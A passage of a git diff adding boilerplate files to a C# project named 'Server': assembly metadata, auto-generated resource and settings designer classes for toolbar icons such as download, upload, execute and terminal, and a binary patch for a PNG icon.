dépendent de +// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations +// associées à un assembly. +[assembly: AssemblyTitle("Server")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Server")] +[assembly: AssemblyCopyright("Copyright © 2024")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly +// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de +// COM, affectez la valeur true à l'attribut ComVisible sur ce type. +[assembly: ComVisible(false)] + +// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM +[assembly: Guid("ecbaf9b2-2988-480b-973e-50a6bdc7016e")] + +// Les informations de version pour un assembly se composent des quatre valeurs suivantes : +// +// Version principale +// Version secondaire +// Numéro de build +// Révision +// +// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut +// en utilisant '*', comme indiqué ci-dessous : +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs new file mode 100644 index 0000000..8e58f1c --- /dev/null +++ b/Server/Properties/Resources.Designer.cs @@ -0,0 +1,153 @@ +//------------------------------------------------------------------------------ +// +// Ce code a été généré par un outil. +// Version du runtime :4.0.30319.42000 +// +// Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si +// le code est régénéré. +// +//------------------------------------------------------------------------------ + +namespace Server.Properties { + using System; + + + /// + /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. + /// + // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder + // à l'aide d'un outil, tel que ResGen ou Visual Studio. + // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen + // avec l'option /str ou régénérez votre projet VS. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Server.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Remplace la propriété CurrentUICulture du thread actuel pour toutes + /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap delete { + get { + object obj = ResourceManager.GetObject("delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap download { + get { + object obj = ResourceManager.GetObject("download", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap execute { + get { + object obj = ResourceManager.GetObject("execute", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap file { + get { + object obj = ResourceManager.GetObject("file", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap folder { + get { + object obj = ResourceManager.GetObject("folder", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap refresh { + get { + object obj = ResourceManager.GetObject("refresh", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap terminal { + get { + object obj = ResourceManager.GetObject("terminal", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap up_arrow { + get { + object obj = ResourceManager.GetObject("up_arrow", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap upload { + get { + object obj = ResourceManager.GetObject("upload", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx new file mode 100644 index 0000000..ab9aad9 --- /dev/null +++ b/Server/Properties/Resources.resx @@ -0,0 +1,148 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\execute.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/Server/Properties/Settings.Designer.cs b/Server/Properties/Settings.Designer.cs new file mode 100644 index 0000000..c2be829 --- /dev/null +++ b/Server/Properties/Settings.Designer.cs @@ -0,0 +1,30 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Server.Properties +{ + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase + { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default + { + get + { + return defaultInstance; + } + } + } +} diff --git a/Server/Properties/Settings.settings b/Server/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Server/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Server/Resources/delete.png b/Server/Resources/delete.png new file mode 100644 index 0000000000000000000000000000000000000000..cce55deb10fb9cb8867499fe03e6f43f2c5f90dd GIT binary patch literal 16396 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 